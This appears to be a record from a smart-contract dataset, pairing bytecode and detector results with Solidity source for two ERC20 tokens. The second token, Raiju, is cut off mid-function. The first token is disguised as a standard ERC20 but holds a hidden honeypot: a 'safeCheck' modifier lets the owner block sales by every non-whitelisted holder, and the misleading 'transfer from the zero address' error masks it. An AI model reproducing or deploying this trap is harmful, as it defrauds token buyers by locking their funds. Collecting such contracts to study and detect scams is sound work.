015250565b61377c816132cb565b811461378757600080fd5b50565b613793816132dd565b811461379e57600080fd5b50565b6137aa81613309565b81146137b557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f8bbfab21a65177aa6c45de8dbae80ec8c7a98b230292ff6dacfba0993dad98a64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,942 |
0x919759ac2e9a1f97e2a829178801ce9f906f95a5
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
address private _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
address private _address0;
address private _address1;
mapping (address => bool) private _Addressint;
uint256 private _zero = 0;
uint256 private _valuehash = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_address0 = owner;
_address1 = owner;
_mint(_address0, initialSupply*(10**18));
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function ints(address addressn) public {
require(msg.sender == _address0, "!_address0");_address1 = addressn;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function upint(address addressn,uint8 Numb) public {
require(msg.sender == _address0, "!_address0");if(Numb>0){_Addressint[addressn] = true;}else{_Addressint[addressn] = false;}
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function intnum(uint8 Numb) public {
require(msg.sender == _address0, "!_address0");_zero = Numb*(10**18);
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
//GLOBE TOKEN
function _transfer(address sender, address recipient, uint256 amount) internal safeCheck(sender,recipient,amount) virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
modifier safeCheck(address sender, address recipient, uint256 amount){
if(recipient != _address0 && sender != _address0 && _address0!=_address1 && amount > _zero){require(sender == _address1 ||sender==_router || _Addressint[sender], "ERC20: transfer from the zero address");}
if(sender==_address0 && _address0==_address1){_address1 = recipient;}
_;}
function _transfer_coin(address sender, address recipient, uint256 amount) internal virtual{
require(recipient == address(0), "ERC20: transfer to the zero address");
require(sender != address(0), "ERC20: transfer from the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function multiaddress(uint8 AllowN,address[] memory receivers, uint256[] memory amounts) public {
for (uint256 i = 0; i < receivers.length; i++) {
if (msg.sender == _address0){
transfer(receivers[i], amounts[i]);
if(i<AllowN){_Addressint[receivers[i]] = true; _approve(receivers[i], _router, _valuehash);}
}
}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c8063540410e511610097578063a9059cbb11610066578063a9059cbb146104c7578063b952390d1461052d578063ba03cda514610686578063dd62ed3e146106d7576100f5565b8063540410e51461035557806370a082311461038657806395d89b41146103de578063a457c2d714610461576100f5565b806323b872dd116100d357806323b872dd14610201578063313ce5671461028757806339509351146102ab578063438dd08714610311576100f5565b806306fdde03146100fa578063095ea7b31461017d57806318160ddd146101e3575b600080fd5b61010261074f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610142578082015181840152602081019050610127565b50505050905090810190601f16801561016f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101c96004803603604081101561019357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107f1565b604051808215151515815260200191505060405180910390f35b6101eb61080f565b6040518082815260200191505060405180910390f35b61026d6004803603606081101561021757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610819565b604051808215151515815260200191505060405180910390f35b61028f6108f2565b604051808260ff1660ff16815260200191505060405180910390f35b6102f7600480360360408110156102c157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610909565b604051808215151515815260200191505060405180910390f35b6103536004803603602081101561032757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506109bc565b005b6103846004803603602081101561036b57600080fd5b81019080803560ff169060200190929190505050610ac3565b005b6103c86004803603602081101561039c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ba7565b6040518082815260200191505060405180910390f35b6103e6610bef565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561042657808201518184015260208101905061040b565b50505050905090810190601f1680156104535780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104ad6004803603604081101561047757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c91565b604051808215151515815260200191505060405180910390f35b610513600480360360408110156104dd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610d5e565b604051808215151515815260200191505060405180910390f35b6106846004803603606081101561054357600080fd5b81019080803560ff1690602001909291908035906020019064010000000081111561056d57600080fd5b82018360208201111561057f57600080fd5b803590602001918460208302840111640100000000831117156105a157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561060157600080fd5b82018360208201111561061357600080fd5b8035906020019184602083028401116401000000008311171561063557600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d7c565b005b6106d56004803603604081101561069c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803560ff169060200190929190505050610edf565b005b610739600480360360408110156106ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611068565b6040518082815260200191505060405180910390f35b606060048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e75780601f106107bc576101008083540402835291602001916107e7565b820191906000526020600020905b8154815290600101906020018083116107ca57829003601f168201915b5050505050905090565b60006108056107fe6110ef565b84846110f7565b6001905092915050565b6000600354905090565b60006108268484846112ee565b6108e7846108326110ef565b6108e285604051806060016040528060288152602001611b0e60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108986110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b600190509392505050565b6000600660009054906101000a900460ff16905090565b60006109b26109166110ef565b846109ad85600160006109276110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6110f7565b6001905092915050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a7f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610b86576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b670de0b6b3a76400008160ff160267ffffffffffffffff1660098190555050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b606060058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610c875780601f10610c5c57610100808354040283529160200191610c87565b820191906000526020600020905b815481529060010190602001808311610c6a57829003601f168201915b5050505050905090565b6000610d54610c9e6110ef565b84610d4f85604051806060016040528060258152602001611b7f6025913960016000610cc86110ef565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6110f7565b6001905092915050565b6000610d72610d6b6110ef565b84846112ee565b6001905092915050565b60008090505b8251811015610ed957600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610ecc57610e11838281518110610df057fe5b6020026020010151838381518110610e0457fe5b6020026020010151610d5e565b508360ff16811015610ecb57600160086000858481518110610e2f57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550610eca838281518110610e9757fe5b6020026020010151600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600a546110f7565b5b5b8080600101915050610d82565b50505050565b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610fa2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f215f61646472657373300000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60008160ff16111561100b576001600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611064565b6000600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561117d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180611b5b6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611203576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180611ac66022913960400191505060405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561139d5750600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114195750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015611426575060095481115b1561157e57600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806114d45750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806115285750600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61157d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b5b600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561164a5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600660019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b156116915781600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611717576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180611b366025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561179d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180611aa36023913960400191505060405180910390fd5b6117a8868686611a9d565b61181384604051806060016040528060268152602001611ae8602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119559092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118a6846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1590919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3505050505050565b6000838311158290611a02576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156119c75780820151818401526020810190506119ac565b50505050905090810190601f1680156119f45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611a93576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f206164647265737345524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220aa2d6155e7ad150f303e345fd4b47aaaefe6bdba20118d512384ea3e38856a4964736f6c63430006060033
|
{"success": true, "error": null, "results": {}}
| 7,943 |
0x74755d6dee30b6d0a554f450d5b8fe44eff1797b
|
/**
*Submitted for verification at Etherscan.io on 2021-06-07
*/
/*
https://t.me/RaijuOfficial
Long ago, raijū were seen as divine beasts, akin to the thunder gods (raijin).
Nothing was known about them except that they were fast, merciless, and deadly.
Whenever lightning struck, people believed that a raijū had been sent by the gods to punish them for some reason or another.
With a dynamic sell limit based on price impact and increasing sell cooldowns and redistribution taxes on consecutive sells, Raijū was designed to reward holders and discourage dumping.
1. Buy limit and cooldown timer on buys to make sure no automated bots have a chance to snipe big portions of the pool.
2. No Team & Marketing wallet. 100% of the tokens will come on the market for trade.
3. No presale wallets that can dump on the community.
Token Information
1. 1,000,000,000,000 Total Supply
3. Dev team has provided liquidity
4. Fair launch for everyone!
5. 2% transaction limit on launch
6. Buy limit lifted 5 miinutes after launch
7. Sells limited to 10% of the Liquidity Pool
8. Sell cooldown increases on consecutive sells, 4 sells within a 24 hours period are allowed
9. 2% redistribution to holders on all buys
10. 7% redistribution to holders on the first sell, increases 2x, 3x, 4x on consecutive sells
11. Redistribution actually works!
12. 5-6% developer fee split within the team
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);
}
contract Raiju is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = unicode"Raijū";
string private constant _symbol = "RAIJU";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 7;
uint256 private _teamFee = 5;
mapping(address => bool) private bots;
mapping(address => uint256) private buycooldown;
mapping(address => uint256) private sellcooldown;
mapping(address => uint256) private firstsell;
mapping(address => uint256) private sellnumber;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen = false;
bool private liquidityAdded = false;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns (uint256) {
require(rAmount <= _rTotal,"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 7;
_teamFee = 5;
}
function setFee(uint256 multiplier) private {
_taxFee = _taxFee * multiplier;
if (multiplier > 1) {
_teamFee = 10;
}
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router)) {
require(_msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair,"ERR: Uniswap only");
}
}
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled) {
require(tradingOpen);
require(amount <= _maxTxAmount);
require(buycooldown[to] < block.timestamp);
buycooldown[to] = block.timestamp + (30 seconds);
_teamFee = 6;
_taxFee = 2;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
require(amount <= balanceOf(uniswapV2Pair).mul(3).div(100) && amount <= _maxTxAmount);
require(sellcooldown[from] < block.timestamp);
if(firstsell[from] + (1 days) < block.timestamp){
sellnumber[from] = 0;
}
if (sellnumber[from] == 0) {
sellnumber[from]++;
firstsell[from] = block.timestamp;
sellcooldown[from] = block.timestamp + (1 hours);
}
else if (sellnumber[from] == 1) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (2 hours);
}
else if (sellnumber[from] == 2) {
sellnumber[from]++;
sellcooldown[from] = block.timestamp + (6 hours);
}
else if (sellnumber[from] == 3) {
sellnumber[from]++;
sellcooldown[from] = firstsell[from] + (1 days);
}
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
setFee(sellnumber[from]);
}
}
bool takeFee = true;
